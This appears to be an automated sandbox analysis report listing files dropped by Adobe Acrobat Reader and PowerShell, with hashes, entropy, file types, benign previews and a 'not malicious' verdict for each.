Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.283695190067735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJf21rPeUkwRe9:YvXKXnDh7412Zc0vVdlOG+16Ukee9
MD5:	5DD32DF8136C057BA36887D7A60F968C
SHA1:	F11080C78C5E022E1FC10672CF862CDDDD2ED1A7
SHA-256:	D304C5DB9274F2A2598079A53499CA8EA74912B364F19C2BC0D5D522680156E1
SHA-512:	8135B497D65875FEDAF89C6DBC09D427C0D8DFBFE886C5623D9D4518F869D55CC6B37DDB8BCFACAD28C573F97D568E7BB8DD899691694027452EE7B8AC3AEF23
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6569455793300385
Encrypted:	false
SSDEEP:	24:Yv6Xna12zvVHamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSU:YvK1dfBgkDMUJUAh8cvMU
MD5:	DC4D5BF22D8544FBC588D82715FAD4E1
SHA1:	79BD889A79A7E4BBC852B7D15D0775D7E37ABF52
SHA-256:	B4B3DDD7809C82527A35D3937342B74B34D3621D33907C54E1C503A658A68B0D
SHA-512:	E906CC20F99D8E438258900AAEF8E47EF4A933A412FF37C956BD655D59A1BB38993EB73CD4C053333DC309C9B5EA9C8B50D65A8E4C8DD4F9DC48C2A332E1C642
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.260182274834115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJfshHHrPeUkwRe9:YvXKXnDh7412Zc0vVdlOGUUUkee9
MD5:	B40B5C12A926B8BA92719DEC6BC7C733
SHA1:	E9E6661EE6667297E0D15D58A6302A9CAD37E00E
SHA-256:	663350F77F1C8C19415B4F973E319CEB75379231DC631991FC0E61A759659963
SHA-512:	26352F2EC6D21423EA3E8EA57A34BEBA02839B5CD2A6A6C96FE204A29741E09218F729BE7DB3DFD5C091B66269DC53E07A24D563DFEB6EF994C5831B7403FB17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.271938780873244
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJTqgFCrPeUkwRe9:YvXKXnDh7412Zc0vVdlOGTq16Ukee9
MD5:	03B5EBA7AA53C57FBD150B185CEB421A
SHA1:	93ADAF1B31A31656AEEE7F3B0DAE30FD57D00DBB
SHA-256:	66FE2EBC9C9D129801850F9DC70DA78CA4CCFB513F1C9CA5BA1610572596AEB1
SHA-512:	2447C5A559DD1F0D660E724D1B61307610C129AA2F7C0F972D0544EE3E640440AD8015A965181A1772A069CC9834D113F145D2C7338D2420BBBFC1B84BDB9EA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134127416968139
Encrypted:	false
SSDEEP:	48:Y7hHFA22OZn6Z4KIvrzPghfqQSnLiVJt7jES9TJY+:MhHONOZn6Z4KIvrzPg/wLwJt7jrTJY+
MD5:	0EFDE6A5A4A1272295340EB22C4AC71E
SHA1:	A4E8FCE707A15166859B27A2438731168D0D0CD7
SHA-256:	5CB046B1986A0D74F7A6C10AF111CB96C34D071FE96C2DBA16BAE5493DDBA0DA
SHA-512:	71D7751A1DB9AB19EF2D488E9D9DB08636990E7ADAAE4D7AD7F5073A999E3827CFA6FE67FF234565F91AA13B4F8638F391178F3759C5D1B63FD50AD88DF51C29
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b684e01862cfb9b3c4658763e194ba1d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543340000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5be413f8c0fb1b7cfde07bd852b3bbce","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736543340000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a03757f0d721e6088c55a75fa80dfdfa","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736543340000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ee68686b7993916164fdd0c2a8946c3e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736543340000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d59faa8ae29ee9a071fd05f43bffae65","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736543340000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3802106a3d5a89e85965b9a0f1c013ce","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.187407003959854
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU7rSvR9H9vxFGiDIAEkGVvpfD:lNVmswUUUUUUUUP+FGSItP
MD5:	16A78990A72760FA5C22792AC5E4C754
SHA1:	3EBF9EC84180128A4753220BAA1B7703CFA3DBDB
SHA-256:	6FBBACDE365613CF46FAB9B032661CA4AC25078F0F655BA7B202D8DB12EF07A6
SHA-512:	27A3735119750675CD01F8CD8AC4BD8A395C1C2383B84C75E0357D1BFFAF84C8F15285E0731124A0124182E42C159A98B779F0C90C224FCBF3DE7686D0F7AD70
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6083938852802062
Encrypted:	false
SSDEEP:	48:7Mj4KUUUUUUUUUU7/vR9H9vxFGiDIAEkGVvMqFl2GL7msI:7ofUUUUUUUUUUjFGSItSKVmsI
MD5:	8DC90930361E0207E65878F654F24A82
SHA1:	08DDFF213B44A4A89FCF77DA287388B426FFF552
SHA-256:	2C4A49354946D3A0966363D515078EFC469FA5912F318AC97E3FD902437C75B0
SHA-512:	D8F9F5559EA804990DF57CB1684CF2BB8F0E83DEB7F555214B2C458218DE19FD331FA9998BEBC19BAEEC99640B252354B8D779241A19ED8F91723E68DD0E74EC
Malicious:	false
Preview:	.... .c.....J.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg+g5iShviRHhUbOz5EjDHOjWYyu:6a6TZ44ADEZ5iShviR9LCK
MD5:	6BD7D6F4BB4F173C8F5CEAFD22CDFAB9
SHA1:	23E9BA7C7E9AC949F52E9BB68694AE3DCB983640
SHA-256:	894408DB7DEF4E9F322CF329487A228A18B21FC9CE4BA238454D335C610C44A3
SHA-512:	A2B3D223877F9168F0967C3B2815AB481D2EAEAA33AE653539492216BC658E729D118CC1F6146506D91458033E69F28956A3A7BAC39D6AC9E3D52EBE2E13A2B8
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIfe62d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNsdH:Qw946cPbiOxDlbYnuRK+bDrN0H
MD5:	DF4B120DE50172ED954581B6285556F5
SHA1:	064CC4C5300239C625CF0A0FB94FE3364182219B
SHA-256:	A9832BEFCFDEB8F92FA7476137D1F18936913FC4906C9768B7D857A546D3C813
SHA-512:	D75CF4C17313B028BAE908374D694216EB7872852CB30668F582E1C5561E0F513B42CC47DA0C45719F16CB4503C98C18EF3E54B8132020FDD6626B3AA87E784B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.0.9.:.0.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ury2f4j.rb1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vdkvtnzl.3mf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-08-56-582.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.356189965387851
Encrypted:	false
SSDEEP:	384:/J3ofdqfjAYUJdfqegDPbd3qO50Ln+arIrLAuKejCyD06XpJhKFYPsPLSOUyV0Uc:DVJ
MD5:	0D301774EBE34ADF538D94CE09BC92BE
SHA1:	B061041F5BB1C2C24D5AA4AD982CD1D26257B565
SHA-256:	2FE5B58BD56BB0F3C72A908727A9D08401FFA543102F95689CA902A6E317DCA8
SHA-512:	98F190B62C6D110AD563B61BFB90CF063CC34E376DBE5E2AAE6E40C96209659F3C1464BDCC33EFF53D84FCECA0F1A9629345EF8353A64F4445C14DEFC01C3D71
Malicious:	false
Preview:	SessionID=5f35d9f8-fd55-4048-8e03-c482b3fdefce.1736543336595 Timestamp=2025-01-10T16:08:56:595-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5f35d9f8-fd55-4048-8e03-c482b3fdefce.1736543336595 Timestamp=2025-01-10T16:08:56:602-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5f35d9f8-fd55-4048-8e03-c482b3fdefce.1736543336595 Timestamp=2025-01-10T16:08:56:602-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5f35d9f8-fd55-4048-8e03-c482b3fdefce.1736543336595 Timestamp=2025-01-10T16:08:56:602-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5f35d9f8-fd55-4048-8e03-c482b3fdefce.1736543336595 Timestamp=2025-01-10T16:08:56:602-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389047520472842
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r9:KM
MD5:	5EE329BE135EAD85238F709EAD07C979
SHA1:	8E58E924FCD67A2DF0B7AD5C718CA29E70B83FF5
SHA-256:	61418881D16590FC1FCD5CFF45D8B9A39EE78648B41185769237C2753EA2D0B7
SHA-512:	892AB59A7058A50523AA8925C8D046175E8B5411C0717FFA050ACC0EEE616702EA7D5F1AF583CAC5854527ADF035FB42E9EEB8A161A9731B032EC714A9E0CFA5
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\117ba6a5-5c96-4803-b1c4-1d26e7dd5e62.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4626c697-bdc5-4045-8c0f-ec9b02941db3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPtdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07teWL07oYGZK:JTwZGD3mlind9i4ufFXpAXkrfUs0MWLo
MD5:	91D46DED600265148ABD0BC25EF80A7A
SHA1:	62EECDBCB3AF4BEA3CAC0379D66EC83F20CFC9BF
SHA-256:	D1392345FAE63EC313F01F760868FCF5A4AEB38D7237535F02B189D9A8CFED41
SHA-512:	A7E3796B82C24A4216A02E7BC5D87F12C3CE807532C9782539B0AF7647DD72CA664BECAB7723EBB48E59E5CA5D2FCA703EEB81BAA64F3E67DF1262E3F3AFB37E
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\adbcb86a-66b8-4f69-8362-d17550cd125e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
